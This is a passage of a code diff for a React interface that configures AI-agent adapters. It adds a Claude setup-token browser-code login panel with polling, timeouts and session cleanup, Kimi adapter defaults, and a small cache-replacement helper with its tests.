+        managedSandboxEnvironmentId: resolveManagedSandboxEnvironmentId(environmentList),
+        // The policy hides the local environment, so an agent default that still
+        // points at the hidden local row names no visible environment. Pass the
+        // visible ids so the resolver redirects that stale local default to the
+        // managed sandbox instead of sending the hidden local id to the server.
+        visibleEnvironmentIds: environmentList.map((environment) => environment.id),
       });
       const testResults: Array<{ label: string; model: string | null; result: AdapterEnvironmentTestResult }> = [
         {
@@ -790,24 +985,73 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
   // re-run on every render (the mutation object has a new identity each render).
   const resetTestEnvironmentRef = useRef(testEnvironment.reset);
   resetTestEnvironmentRef.current = testEnvironment.reset;
+
+  // Clear a stale Claude login claim when the adapter type or the effective
+  // environment changes. A login binds `CLAUDE_CODE_OAUTH_TOKEN` to one specific
+  // environment. After the environment changes, the held claim and the fixed
+  // binding no longer match the new target. The create request would still send
+  // the claim, and the server would reject it. So drop the claim, the
+  // apply-existing flag, and the fixed binding, and return the login panel to
+  // its initial state. Only create mode holds this form state; edit mode saves
+  // the binding at login time. Hold the clear in a ref so the effect does not
+  // re-run on every render (`set` and `val` have a new identity each render).
+  const clearClaudeLoginClaimRef = useRef<() => void>(() => {});
+  clearClaudeLoginClaimRef.current = () => {
+    if (!isCreate || !set) return;
+    const bindings = (val!.envBindings ?? {}) as Record<string, EnvBinding>;
+    const hasClaim =
+      val!.claudeStoredSessionId != null || val!.claudeApplyStoredLogin === true;
+    const hasBinding = CLAUDE_OAUTH_TOKEN_ENV_KEY in bindings;
+    if (!hasClaim && !hasBinding) return;
+    const nextBindings = { ...bindings };
+    delete nextBindings[CLAUDE_OAUTH_TOKEN_ENV_KEY];
+    set({
+      envBindings: nextBindings,
+      claudeStoredSessionId: null,
+      claudeApplyStoredLogin: false,
+    });
+  };
+
   useEffect(() => {
     resetTestEnvironmentRef.current();
     setTestActionError(null);
+    clearClaudeLoginClaimRef.current();
   }, [adapterType, effectiveLoginEnvironmentId]);
 
-  // Show the login affordance only for a current `codex_local` sandbox whose most
-  // recent Test result carries the canonical auth-missing check. The result keeps
-  // its own `adapterType`, so a result from another adapter never gates the panel.
+  // Show the login affordance only for a current sandbox adapter that declares a
+  // login capability, and whose most recent Test result carries the canonical
+  // auth-missing check. The form reads the projected capability, not the adapter
+  // name. The result keeps its own `adapterType`, so the form reads the
+  // capability for that result adapter; a result from an adapter with no login
+  // capability never gates the panel.
+  const adapterSupportsSandboxLogin = adapterCaps.login != null;
+  const testResult = testEnvironment.data;
+  const testResultSupportsSandboxLogin =
+    testResult != null && getCapabilities(testResult.adapterType).login != null;
   const authMissingCheck =
-    testEnvironment.data?.adapterType === "codex_local"
-      ? testEnvironment.data.checks.find((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE) ?? null
+    testResult && testResultSupportsSandboxLogin
+      ? testResult.checks.find((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE) ?? null
       : null;
+  // A login that runs on a real pseudo-terminal needs a provider that advertises
+  // the login pseudo-terminal capability. Read the capability for the effective
+  // environment provider. The form reads the adapter login transport, not the
+  // adapter name: a login with a streamed-exec transport does not gate on this
+  // capability, so the requirement applies to a pseudo-terminal login only.
+  const effectiveLoginProvider =
+    typeof effectiveLoginEnvironment?.config?.provider === "string"
+      ? effectiveLoginEnvironment.config.provider
+      : null;
+  const providerSupportsLoginPty =
+    effectiveLoginProvider != null &&
+    environmentCapabilities?.sandboxProviders?.[effectiveLoginProvider]?.supportsLoginPty === true;
+  const loginNeedsPty = adapterCaps.login?.sandboxTransport === "pseudo_terminal";
   const showAdapterLogin =
-    adapterType === "codex_local" &&
+    adapterSupportsSandboxLogin &&
     effectiveLoginEnvironment?.driver === "sandbox" &&
     Boolean(effectiveLoginEnvironmentId) &&
     Boolean(selectedCompanyId) &&
-    Boolean(authMissingCheck);
+    Boolean(authMissingCheck) &&
+    (!loginNeedsPty || providerSupportsLoginPty);
   const runEnvironmentTest = useCallback(async () => {
     if (!selectedCompanyId) {
       throw new Error("Select a company to test adapter environment");
@@ -930,7 +1174,9 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
         ? cursorModeOptions
         : adapterType === "opencode_local"
           ? openCodeThinkingEffortOptions
-          : claudeThinkingEffortOptions;
+          : adapterType === "kimi_local"
+            ? kimiThinkingEffortOptions
+            : claudeThinkingEffortOptions;
   const currentThinkingEffort = isCreate
     ? val!.thinkingEffort
     : adapterType === "codex_local"
@@ -1239,7 +1485,7 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
                   <option value="">Default: {inheritedEnvironmentLabel}</option>
                   {environmentOptions.map((environment) => (
                     <option key={environment.id} value={environment.id}>
-                      {environment.name} · {environment.driver}
+                      {environmentDisplayLabel(environment)}
                     </option>
                   ))}
                 </select>
@@ -1285,6 +1531,8 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
                         DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX;
                     } else if (t === "gemini_local") {
                       nextValues.model = DEFAULT_GEMINI_LOCAL_MODEL;
+                    } else if (t === "kimi_local") {
+                      nextValues.model = DEFAULT_KIMI_LOCAL_MODEL;
                     } else if (t === "cursor") {
                       nextValues.model = DEFAULT_CURSOR_LOCAL_MODEL;
                     } else if (t === "opencode_local") {
@@ -1302,6 +1550,8 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
                         model:
                           t === "gemini_local"
                             ? DEFAULT_GEMINI_LOCAL_MODEL
+                            : t === "kimi_local"
+                              ? DEFAULT_KIMI_LOCAL_MODEL
                             : t === "opencode_local"
                               ? DEFAULT_OPENCODE_LOCAL_MODEL
                             : t === "cursor"
@@ -1344,6 +1594,10 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
               companyId={selectedCompanyId!}
               adapterType={adapterType}
               environmentId={effectiveLoginEnvironmentId!}
+              onStored={isCreate ? handleClaudeLoginStored : handleClaudeLoginStoredEdit}
+              onApplyStored={
+                isCreate ? handleApplyStoredClaudeLogin : handleApplyStoredClaudeLoginEdit
+              }
             />
           )}
 
@@ -1412,6 +1666,7 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
                       claude_local: "claude",
                       codex_local: "codex",
                       gemini_local: "gemini",
+                      kimi_local: "kimi",
                       pi_local: "pi",
                       cursor: "agent",
                       opencode_local: "opencode",
@@ -1560,8 +1815,7 @@ export function AgentConfigForm(props: AgentConfigFormProps) {
                   value={
                     isCreate
                       ? ((val!.envBindings ?? EMPTY_ENV) as Record<string, EnvBinding>)
-                      : ((eff("adapterConfig", "env", (config.env ?? EMPTY_ENV) as Record<string, EnvBinding>))
-                      )
+                      : (eff("adapterConfig", "env", (config.env ?? EMPTY_ENV) as Record<string, EnvBinding>))
                   }
                   secrets={availableSecrets}
                   userSecretDefinitions={userSecretDefinitions}
@@ -1799,7 +2053,7 @@ function AdapterLoginTerminalState({
     return (
       <div className="flex items-center gap-2 text-(length:--text-micro) text-foreground">
         <Check className="size-3 shrink-0" />
-        <span>Authenticated. The sandbox has credentials now.</span>
+        <span>Authenticated. The environment has credentials now.</span>
       </div>
     );
   }
@@ -1837,11 +2091,34 @@ export type AdapterLoginDescriptor = {
   environmentId: string;
 };
 
-export function AdapterLoginPanel({
+// The panel props. `onStored` reports the non-secret `storedSessionId` claim from
+// a Claude login that reaches the server `stored` state. The create-mode form
+// holds that claim for the fixed binding; the callback never carries a token.
+// `onApplyStored` binds the fixed reference to an existing stored login with no
+// new login round trip. The panel shows the apply-existing affordance only when
+// the status route reports a stored value.
+export type AdapterLoginPanelProps = AdapterLoginDescriptor & {
+  onStored?: (storedSessionId: string) => void;
+  onApplyStored?: () => void;
+};
+
+// The login panel dispatcher. It picks the panel from the projected panel mode,
+// not from the adapter name. The `submitted_browser_code` mode shows the
+// submitted-browser-code panel; every other mode shows the displayed-code panel.
+export function AdapterLoginPanel(props: AdapterLoginPanelProps) {
+  const getCapabilities = useAdapterCapabilities();
+  const panelMode = getCapabilities(props.adapterType).login?.panelMode;
+  if (panelMode === "submitted_browser_code") {
+    return <SubmittedBrowserCodeLoginPanel {...props} />;
+  }
+  return <DisplayedCodeLoginPanel {...props} />;
+}
+
+function DisplayedCodeLoginPanel({
   companyId,
   adapterType,
   environmentId,
-}: AdapterLoginDescriptor) {
+}: AdapterLoginPanelProps) {
   const [sessionId, setSessionId] = useState<string | null>(null);
   const [startError, setStartError] = useState<string | null>(null);
   // The server delivers the one-time prompt on the first owner read only. Latch
@@ -1904,7 +2181,7 @@ export function AdapterLoginPanel({
   return (
     <div className="rounded-md border border-border bg-muted/40 px-3 py-2 space-y-2">
       <div className="flex items-center justify-between gap-2">
-        <span className="text-xs font-medium text-foreground">Sign in to the sandbox</span>
+        <span className="text-xs font-medium text-foreground">Sign in to the environment</span>
         <div className="flex items-center gap-1.5">
           {isActive && (
             <Button
@@ -1996,6 +2273,546 @@ export function AdapterLoginPanel({
   );
 }
 
+// The public session states that fail a Claude login. The panel returns to its
+// start state and shows a fixed message at one of these.
+const CLAUDE_LOGIN_FAILURE_STATUSES = new Set<AdapterAuthSessionStatus>([
+  "failed",
+  "timed_out",
+  "cancelled",
+]);
+
+// The fixed, non-secret message for a failed Claude login. The panel shows this
+// text and returns to its start state. It never shows a provider message that
+// could carry a secret.
+const CLAUDE_LOGIN_FAILED_MESSAGE = "The login did not finish. Start the login again.";
+
+// The client wall-clock cap for one active login. The panel polls the status
+// route and the prompt route every two seconds. The server can leave a session
+// short of a terminal status, and the prompt route returns 404 until the URL is
+// ready. Without a cap, the panel polls forever. When this cap passes, the panel
+// stops both polls and shows the timed-out state, so the user can start again.
+// A generous client failsafe for a live login whose server deadline has not
+// arrived yet. The server `expiresAt` is the real cutoff; the panel drives the
+// timer from it. This failsafe only bounds a stuck poll while the status route
+// has not yet returned `expiresAt`, so a login can never poll forever. The
+// value is far longer than the server budget, so it never cuts a normal login
+// short (the earlier fixed 60-second cutoff did, which drove this fix).
+const CLAUDE_LOGIN_FAILSAFE_TIMEOUT_MS = 15 * 60_000;
+
+// The fixed, non-secret message for a timed-out Claude login. The panel shows
+// this text, stops both polls, and returns to its start state.
+const CLAUDE_LOGIN_TIMED_OUT_MESSAGE = "The login timed out. Start the login again.";
+
+// The submitted-browser-code login panel for the Claude adapter. It starts a
+// setup-token login, polls the status route, and reads the authorization URL
+// from the guarded prompt route. The user opens the URL, reads the browser code,
+// and submits it. The panel clears the code right after submit. The panel treats
+// only the server `stored` state as success, and it never shows the OAuth token.
+function SubmittedBrowserCodeLoginPanel({
+  companyId,
+  environmentId,
+  onStored,
+  onApplyStored,
+}: AdapterLoginPanelProps) {
+  const [sessionId, setSessionId] = useState<string | null>(null);
+  const [startError, setStartError] = useState<string | null>(null);
+  // The server delivers the authorization URL on the guarded prompt read only.
+  // Latch it so a later poll does not hide the URL.
+  const [authorizationUrl, setAuthorizationUrl] = useState<string | null>(null);
+  // True when the guarded prompt read reports a non-confidential transport. The
+  // server does not block a plain-HTTP login. The panel shows a non-blocking
+  // disclaimer and the login still proceeds. Latch it beside the URL.
+  const [transportInsecure, setTransportInsecure] = useState(false);
+  // The browser code the user submits. The panel clears it right after submit, so
+  // the secret never lingers in the input.
+  const [browserCode, setBrowserCode] = useState("");
+  // The non-secret stored-session claim from a completed login. It marks the
+  // server `stored` state, the only success state.
+  const [storedSessionId, setStoredSessionId] = useState<string | null>(null);
+  // True after a completion read fails. The panel returns to its start state.
+  const [completionFailed, setCompletionFailed] = useState(false);
+  // True after the client wall-clock cap passes for the active login. The panel
+  // stops both polls and shows the timed-out state.
+  const [timedOut, setTimedOut] = useState(false);
+  // True after the status poll returns 404. The server removes the row and the
+  // in-memory session at once on any non-stored terminal state, so a status 404
+  // means the login failed and the server cleaned up. The panel stops both
+  // polls and shows a terminal failure state. It shows no credential material.
+  const [statusGone, setStatusGone] = useState(false);
+  // Guards the one completion read per session.
+  const completionStartedRef = useRef(false);
+  // True after the owner applies an existing stored login in this panel. The
+  // apply-existing path binds the fixed reference with no new login round trip,
+  // so the panel shows the applied confirmation and hides the apply affordance.
+  const [appliedStored, setAppliedStored] = useState(false);
+
+  const resetLocalState = () => {
+    setStartError(null);
+    setAuthorizationUrl(null);
+    setTransportInsecure(false);
+    setBrowserCode("");
+    setStoredSessionId(null);
+    setCompletionFailed(false);
+    setTimedOut(false);
+    setStatusGone(false);
+    completionStartedRef.current = false;
+  };
+
+  // Read the stored Claude OAuth token status when the panel mounts. A 200 body
+  // carries the secret id and the version of the owner value; a 404 means the
+  // owner has no stored value. The panel applies the stored token first: when a
+  // value exists, a replacement login rotates it under the captured version
+  // instead of a blind first write. The server rejects a stale capture, so a
+  // change by another process after the capture fails the overwrite.
+  const storedTokenQuery = useQuery({
+    queryKey: ["claude-oauth-token-status", companyId],
+    queryFn: async () => {
+      try {
+        return await agentsApi.getClaudeOAuthTokenStatus(companyId);
+      } catch (error) {
+        // A 404 means the owner has no stored value (indistinguishable from a
+        // foreign value). The panel treats it as "no stored token".
+        if (error instanceof ApiError && error.status === 404) return null;
+        throw error;
+      }
+    },
+    retry: (failureCount, error) => {
+      if (error instanceof ApiError && error.status === 404) return false;
+      return failureCount < 2;
+    },
+  });
+  const storedToken = storedTokenQuery.data ?? null;
+
+  const startLogin = useMutation({
+    mutationFn: () =>
+      agentsApi.startClaudeSetupTokenLogin(companyId, {
+        environmentId,
+        // When the owner already has a stored token, the login rotates it under
+        // the captured version, so a replacement login never conflicts with an
+        // existing value. Without a stored token the login is a first write.
+        ...(storedToken
+          ? {
+              overwrite: {
+                expectedSecretId: storedToken.secretId,
+                expectedLatestVersion: storedToken.latestVersion,
+              },
+            }
+          : {}),
+      }),
+    onSuccess: (session) => {
+      resetLocalState();
+      setSessionId(session.sessionId);
+    },
+    onError: (error) => {
+      setStartError(error instanceof Error ? error.message : "Could not start the login.");
+    },
+  });
+
+  const clearActiveSession = () => {
+    // Return the panel to its idle start state. The Log in button is available
+    // again, and both polls stop because the session id is null.
+    setSessionId(null);
+    resetLocalState();
+  };
+
+  const cancelLogin = useMutation({
+    mutationFn: () => agentsApi.cancelClaudeSetupTokenLogin(companyId, sessionId!),
+    onSuccess: () => {
+      clearActiveSession();
+    },
+    onError: (error) => {
+      // The cancel is resilient. The server removes a terminal session, so a
+      // cancel of an already-terminal or unknown session can return a 404. Treat
+      // that 404 the same as a successful cancel: clear the session and stop the
+      // polls. The panel never keeps polling a session the server no longer
+      // holds. Any other error surfaces and keeps the active login.
+      if (error instanceof ApiError && error.status === 404) {
+        clearActiveSession();
+        return;
+      }
+      setStartError(error instanceof Error ? error.message : "Could not cancel the login.");
+    },
+  });
+
+  // Release the server session at once, without a change to the panel state. The
+  // client-cutoff timer and the unmount path both use this. The server holds a
+  // per-owner reservation until the session reaches a terminal state, so an
+  // abandoned session locks the owner out until the server deadline. A best-
+  // effort cancel frees that reservation now, so the same owner can start a new
+  // login and does not hit the "too many active sessions" cap. The server
+  // removes a terminal session, so a 404 means the session is already gone. Treat
+  // that 404 the same as a successful cancel. This is a fire-and-forget cleanup,
+  // so it drops every error. The manual Cancel button uses the `cancelLogin`
+  // mutation instead, because that path also returns the panel to its idle start
+  // state.
+  const releaseServerSession = useCallback(
+    (id: string) => {
+      void agentsApi.cancelClaudeSetupTokenLogin(companyId, id).catch(() => {
+        // Drop the error. A 404 means the server already removed the session. A
+        // cleanup path cannot surface any other error, so it stays silent.
+      });
+    },
+    [companyId],
+  );
+
+  // Both polls run only while a session is active and the client cap has not
+  // passed. The timeout stops the polls, so the panel never polls forever. A
+  // status 404 also stops the polls: the server cleaned up the session, so the
+  // panel enters a terminal failure state instead.
+  const pollingEnabled = Boolean(sessionId) && !timedOut && !statusGone;
+
+  const statusQuery = useQuery({
+    queryKey: ["claude-setup-token-status", companyId, sessionId],
+    queryFn: () => agentsApi.getClaudeSetupTokenLoginStatus(companyId, sessionId!),
+    enabled: pollingEnabled,
+    // A status 404 is terminal. The server removes a cleaned-up session at once,
+    // so a retry cannot recover it. Stop at once and fail loudly.
+    retry: (failureCount, error) => {
+      if (error instanceof ApiError && error.status === 404) return false;
+      return failureCount < 3;
+    },
+    refetchInterval: (query) => {
+      if (timedOut || statusGone) return false;
+      const status = query.state.data?.status;
+      return status && ADAPTER_LOGIN_TERMINAL_STATUSES.has(status)
+        ? false
+        : ADAPTER_LOGIN_POLL_INTERVAL_MS;
+    },
+  });
+
+  // Fail loudly on a status 404. The server cleans up the reservation, the row,
+  // and the in-memory session at once on any non-stored terminal state, so the
+  // status route returns 404 when a login fails and the server cleanup wins the
+  // race against the next poll. React Query keeps the last successful data on
+  // error, so without this branch the panel would hold stale data and show
+  // nothing. Enter the terminal failure state, which stops both polls.
+  useEffect(() => {
+    const error = statusQuery.error;
+    if (error instanceof ApiError && error.status === 404) {
+      setStatusGone(true);
+    }
+  }, [statusQuery.error]);
+
+  // Poll the guarded prompt route until it returns the authorization URL. The
+  // route returns 404 until the URL is ready, so the panel treats a 404 as
+  // not-ready and keeps polling.
+  const promptQuery = useQuery({
+    queryKey: ["claude-setup-token-prompt", companyId, sessionId],
+    enabled: pollingEnabled && !authorizationUrl,
+    queryFn: async () => {
+      try {
+        return await agentsApi.getClaudeSetupTokenLoginPrompt(companyId, sessionId!);
+      } catch (error) {
+        if (error instanceof ApiError && error.status === 404) return null;
+        throw error;
+      }
+    },
+    refetchInterval: (query) =>
+      timedOut || query.state.data?.authorizationUrl ? false : ADAPTER_LOGIN_POLL_INTERVAL_MS,
+  });
+
+  useEffect(() => {
+    const url = promptQuery.data?.authorizationUrl ?? null;
+    if (url) setAuthorizationUrl(url);
+    // The advisory rides the same guarded prompt read as the URL. Latch it, so a
+    // later poll does not clear the disclaimer.
+    if (promptQuery.data?.transportAdvisory) setTransportInsecure(true);
+  }, [promptQuery.data]);
+
+  const submitCode = useMutation({
+    mutationFn: (code: string) =>
+      agentsApi.submitClaudeSetupTokenBrowserCode(companyId, sessionId!, code),
+    onError: (error) => {
+      setStartError(error instanceof Error ? error.message : "Could not submit the browser code.");
+    },
+  });
+
+  const completeLogin = useMutation({
+    mutationFn: () => agentsApi.completeClaudeSetupTokenLogin(companyId, sessionId!),
+    onSuccess: (result) => {
+      // The server reached the `stored` state. Hold the non-secret claim and
+      // report it to the parent. The response carries no token.
+      setStoredSessionId(result.storedSessionId);
+      onStored?.(result.storedSessionId);
+    },
+    onError: () => {
+      setCompletionFailed(true);
+    },
+  });
+
+  const status = statusQuery.data?.status ?? startLogin.data?.status ?? null;
+  // The server deadline for the active session (ISO string). The status route
+  // and the start response both carry it. The panel drives the client cutoff
+  // from this value, so the client and the server share one deadline.
+  const expiresAt = statusQuery.data?.expiresAt ?? startLogin.data?.expiresAt ?? null;
+
+  // Complete the login once the server authenticates the session. The completion
+  // read returns the non-secret stored-session claim. Fire it once per session.
+  const completeLoginRef = useRef(completeLogin.mutate);
+  completeLoginRef.current = completeLogin.mutate;
+  useEffect(() => {
+    if (status === "authenticated" && !completionStartedRef.current) {
+      completionStartedRef.current = true;
+      completeLoginRef.current();
+    }
+  }, [status]);
+
+  const isStored = storedSessionId !== null;
+  const isFailure =
+    completionFailed ||
+    statusGone ||
+    Boolean(status && CLAUDE_LOGIN_FAILURE_STATUSES.has(status));
+  const isCompleting = status === "authenticated" && !isStored && !completionFailed;
+  const isActive = Boolean(sessionId) && !isStored && !isFailure && !timedOut;
+  const startDisabled = startLogin.isPending || isActive;
+
+  // Hold the active session id for the unmount cleanup. The panel updates it on
+  // every render. When the panel unmounts, or the parent removes it as the login
+  // closes, with an active, non-terminal session, the cleanup releases that
+  // session on the server. The ref is null once the session leaves the active
+  // state, so the cleanup never cancels a session the server already removed.
+  const activeSessionRef = useRef<string | null>(null);
+  activeSessionRef.current = isActive ? sessionId : null;
+
+  useEffect(() => {
+    return () => {
+      const id = activeSessionRef.current;
+      if (id) releaseServerSession(id);
+    };
+  }, [releaseServerSession]);
+
+  // Cap the active login at the server deadline. The timer arms when the login
+  // becomes active and clears when the login leaves the active state (a terminal
+  // status, a stored success, or a new login). It re-arms when `expiresAt`
+  // arrives or changes. When it fires, the panel enters the timed-out state. The
+  // `isActive` guard already excludes `timedOut`, so the timer does not re-arm
+  // after it fires.
+  //
+  // The delay comes from the server `expiresAt`, so the client cutoff matches
+  // the server session budget instead of a fixed short window. While `expiresAt`
+  // has not arrived for the live session, the panel uses a generous failsafe, so
+  // a stuck poll still stops.
+  useEffect(() => {
+    if (!isActive) return;
+    const deadlineMs = expiresAt !== null ? new Date(expiresAt).getTime() : Number.NaN;
+    const remainingMs = Number.isFinite(deadlineMs)
+      ? Math.max(0, deadlineMs - Date.now())
+      : CLAUDE_LOGIN_FAILSAFE_TIMEOUT_MS;
+    const timer = setTimeout(() => {
+      // Release the server session first, then show the timed-out state. The
+      // cancel frees the server reservation now, so an immediate retry by the
+      // same owner starts a new session instead of a lockout on the per-owner
+      // cap. The panel keeps the timed-out state, so the user sees why the login
+      // stopped.
+      if (sessionId) releaseServerSession(sessionId);
+      setTimedOut(true);
+    }, remainingMs);
+    return () => clearTimeout(timer);
+  }, [isActive, expiresAt, sessionId, releaseServerSession]);
+
+  const trimmedCode = browserCode.trim();
+  const canSubmit =
+    isActive &&
+    Boolean(authorizationUrl) &&
+    !isCompleting &&
+    isValidBrowserCode(trimmedCode) &&
+    !submitCode.isPending;
+
+  const handleSubmit = () => {
+    if (!canSubmit) return;
+    submitCode.mutate(trimmedCode);
+    // Clear the browser code right after submit, so the secret never lingers in
+    // the input.
+    setBrowserCode("");
+  };
+
+  return (
+    <div className="rounded-md border border-border bg-muted/40 px-3 py-2 space-y-2">
+      <div className="flex items-center justify-between gap-2">
+        <span className="text-xs font-medium text-foreground">Sign in to the environment</span>
+        <div className="flex items-center gap-1.5">
+          {isActive && (
+            <Button
+              type="button"
+              variant="ghost"
+              size="sm"
+              className="h-7 px-2.5 text-xs text-muted-foreground hover:text-foreground"
+              disabled={cancelLogin.isPending}
+              onClick={() => cancelLogin.mutate()}
+            >
+              Cancel
+            </Button>
+          )}
+          {/* Apply the existing stored login with no new login round trip. The
+              affordance shows only when the status route reports a stored value
+              and no active or completed login runs in this panel. */}
+          {onApplyStored && storedToken && !isActive && !isStored && !appliedStored && (
+            <Button
+              type="button"
+              variant="default"
+              size="sm"
+              className="h-7 px-2.5 text-xs"
+              onClick={() => {
+                onApplyStored();
+                setAppliedStored(true);
+              }}
+            >
+              Use saved login
+            </Button>
+          )}
+          <Button
+            type="button"
+            variant="outline"
+            size="sm"
+            className="h-7 px-2.5 text-xs"
+            disabled={startDisabled}
+            onClick={() => startLogin.mutate()}
+          >
+            {storedToken && !isActive && !isStored ? "Log in to replace" : "Log in"}
+          </Button>
+        </div>
+      </div>
+
+      {/* When the owner already has a stored Claude login, the panel applies it
+          first and does not force a fresh login. Use saved login binds the stored
+          token; a replacement login rotates it under the captured version. */}
+      {storedToken && !isActive && !isStored && !appliedStored && (
+        <div className="text-(length:--text-micro) text-muted-foreground">
+          You have a saved Claude login. Use it to bind this agent, or log in again to replace the
+          stored token.
+        </div>
+      )}
+
+      {appliedStored && (
+        <div className="flex items-center gap-2 text-(length:--text-micro) text-foreground">
+          <Check className="size-3 shrink-0" />
+          <span>The saved Claude login is bound to this agent now.</span>
+        </div>
+      )}
+
+      {startError && (
+        <div role="alert" className="text-(length:--text-micro) text-destructive">
+          {startError}
+        </div>
+      )}
+
+      {/* One live region announces the loading, prompt, completing, and terminal
+          states, so a screen reader reports each transition. */}
+      <div role="status" aria-live="polite" className="space-y-2 empty:hidden">
+        {isActive && !authorizationUrl && !isCompleting && (
+          <div className="flex items-center gap-2 text-(length:--text-micro) text-muted-foreground">
+            <Loader2 className="size-3 animate-spin shrink-0" />
+            <span>Preparing the login…</span>
+          </div>
+        )}
+
+        {isActive && authorizationUrl && !isCompleting && (
+          <div className="space-y-2">
+            {transportInsecure && (
+              <div
+                className="flex items-start gap-2 rounded-md border border-amber-300 bg-amber-50 px-2 py-1.5 text-(length:--text-micro) text-amber-800 dark:border-amber-500/40 dark:bg-amber-500/10 dark:text-amber-200"
+              >
+                <TriangleAlert className="size-3 shrink-0 mt-0.5" />
+                <span>
+                  This connection is not encrypted. The login code travels in clear text on this
+                  network. Continue only on a network you trust.
+                </span>
+              </div>
+            )}
+            <div className="text-(length:--text-micro) text-muted-foreground">
+              Open the authorization page, then enter the browser code it shows.
+            </div>
+            <div className="flex items-center justify-between gap-2">
+              <div className="min-w-0">
+                <div className="text-(length:--text-micro) uppercase tracking-wide text-muted-foreground">
+                  Authorization URL
+                </div>
+                <span className="font-mono text-xs text-foreground break-all">{authorizationUrl}</span>
+              </div>
+              <div className="flex items-center">
+                <AdapterLoginCopyButton value={authorizationUrl} label="Copy URL" />
+                <Button
+                  asChild
+                  type="button"
+                  variant="ghost"
+                  size="icon-xs"
+                  aria-label="Open the authorization page"
+                  title="Open the authorization page"
+                  className="text-muted-foreground hover:text-foreground"
+                >
+                  <a href={authorizationUrl} target="_blank" rel="noreferrer noopener">
+                    <ExternalLink className="size-3" />
+                  </a>
+                </Button>
+              </div>
+            </div>
+            <div className="space-y-1">
+              <div className="text-(length:--text-micro) uppercase tracking-wide text-muted-foreground">
+                Browser code
+              </div>
+              <div className="flex items-center gap-2">
+                <input
+                  aria-label="Browser code"
+                  type="text"
+                  autoComplete="off"
+                  spellCheck={false}
+                  value={browserCode}
+                  onChange={(event) => setBrowserCode(event.target.value)}
+                  onKeyDown={(event) => {
+                    if (event.key === "Enter") {
+                      event.preventDefault();
+                      handleSubmit();
+                    }
+                  }}
+                  className="flex-1 min-w-0 rounded-md border border-border bg-background px-2 py-1 font-mono text-xs text-foreground"
+                />
+                <Button
+                  type="button"
+                  variant="outline"
+                  size="sm"
+                  className="h-7 px-2.5 text-xs"
+                  disabled={!canSubmit}
+                  onClick={handleSubmit}
+                >
+                  Submit
+                </Button>
+              </div>
+            </div>
+          </div>
+        )}
+
+        {isCompleting && (
+          <div className="flex items-center gap-2 text-(length:--text-micro) text-muted-foreground">
+            <Loader2 className="size-3 animate-spin shrink-0" />
+            <span>Completing the login…</span>
+          </div>
+        )}
+
+        {isStored && (
+          <div className="flex items-center gap-2 text-(length:--text-micro) text-foreground">
+            <Check className="size-3 shrink-0" />
+            <span>Authenticated. The environment has credentials now.</span>
+          </div>
+        )}
+
+        {isFailure && (
+          <div className="flex items-start gap-2 text-(length:--text-micro) text-destructive">
+            <TriangleAlert className="size-3 shrink-0" />
+            <span>{CLAUDE_LOGIN_FAILED_MESSAGE}</span>
+          </div>
+        )}
+
+        {timedOut && !isFailure && !isStored && (
+          <div className="flex items-start gap-2 text-(length:--text-micro) text-destructive">
+            <TriangleAlert className="size-3 shrink-0" />
+            <span>{CLAUDE_LOGIN_TIMED_OUT_MESSAGE}</span>
+          </div>
+        )}
+      </div>
+    </div>
+  );
+}
+
 export function AdapterEnvironmentResult({ result }: { result: AdapterEnvironmentTestResult }) {
   const statusLabel =
     result.status === "pass" ? "Passed" : result.status === "warn" ? "Warnings" : "Failed";
diff --git a/ui/src/components/AttentionInteractionResolver.test.ts b/ui/src/components/AttentionInteractionResolver.test.ts
new file mode 100644
index 00000000000..cba4ebc73fc
--- /dev/null
+++ b/ui/src/components/AttentionInteractionResolver.test.ts
@@ -0,0 +1,33 @@
+import { describe, expect, it } from "vitest";
+import {
+  failedSecretProposalInteraction,
+  pendingSecretProposalInteraction,
+} from "../fixtures/issueThreadInteractionFixtures";
+import { replaceResolvedInteraction } from "./AttentionInteractionResolver";
+
+describe("replaceResolvedInteraction", () => {
+  it("immediately replaces a pending secret proposal with its stitched failure receipt", () => {
+    const resolved = {
+      ...failedSecretProposalInteraction,
+      id: pendingSecretProposalInteraction.id,
+    };
+
+    const next = replaceResolvedInteraction([pendingSecretProposalInteraction], resolved);
+
+    expect(next).toHaveLength(1);
+    expect(next[0]?.status).toBe("accepted");
+    expect(next[0]?.kind).toBe("request_confirmation");
+    if (next[0]?.kind === "request_confirmation") {
+      expect(next[0].result?.secretProposal).toMatchObject({
+        status: "failed",
+        errorCode: "binding_snapshot_stale",
+      });
+    }
+  });
+
+  it("retains the stitched receipt when the interaction cache was empty", () => {
+    expect(replaceResolvedInteraction(undefined, failedSecretProposalInteraction)).toEqual([
+      failedSecretProposalInteraction,
+    ]);
+  });
+});
diff --git a/ui/src/components/AttentionInteractionResolver.tsx b/ui/src/components/AttentionInteractionResolver.tsx
index 8176f534d8b..05acfd5b912 100644
--- a/ui/src/components/AttentionInteractionResolver.tsx
+++ b/ui/src/components/AttentionInteractionResolver.tsx
@@ -28,6 +28,18 @@ interface AttentionInteractionResolverProps {
   onResolved?: () => void;
 }
 
+export function replaceResolvedInteraction(
+  current: IssueThreadInteraction[] | undefined,
+  resolvedInteraction: IssueThreadInteraction,
+): IssueThreadInteraction[] {
+  const existing = current ?? [];
+  const index = existing.findIndex((entry) => entry.id === resolvedInteraction.id);
+  if (index < 0) return [...existing, resolvedInteraction];
+  return existing.map((entry, entryIndex) =>
+    entryIndex === index ? resolvedInteraction : entry,
+  );
+}
+
 /**
  * Lazily fetches the full issue-thread interaction referenced by an attention
  * row and renders the existing {@link IssueThreadInteractionCard} inline, so
@@ -56,7 +68,17 @@ export function AttentionInteractionResolver({
     return match && isIssueThreadInteraction(match) ? match : null;
   }, [interactions, interactionId]);
 
-  const invalidate = () => {
+  const invalidate = (resolvedInteraction?: IssueThreadInteraction) => {
+    // The accept route returns the fully stitched interaction (including
+    // secretProposal.executed/failed). Put that receipt in the cache before
+    // invalidating so the attention surface never flashes a generic Accepted
+    // state while the refetch catches up.
+    if (resolvedInteraction) {
+      queryClient.setQueryData<IssueThreadInteraction[] | undefined>(
+        queryKeys.issues.interactions(issueId),
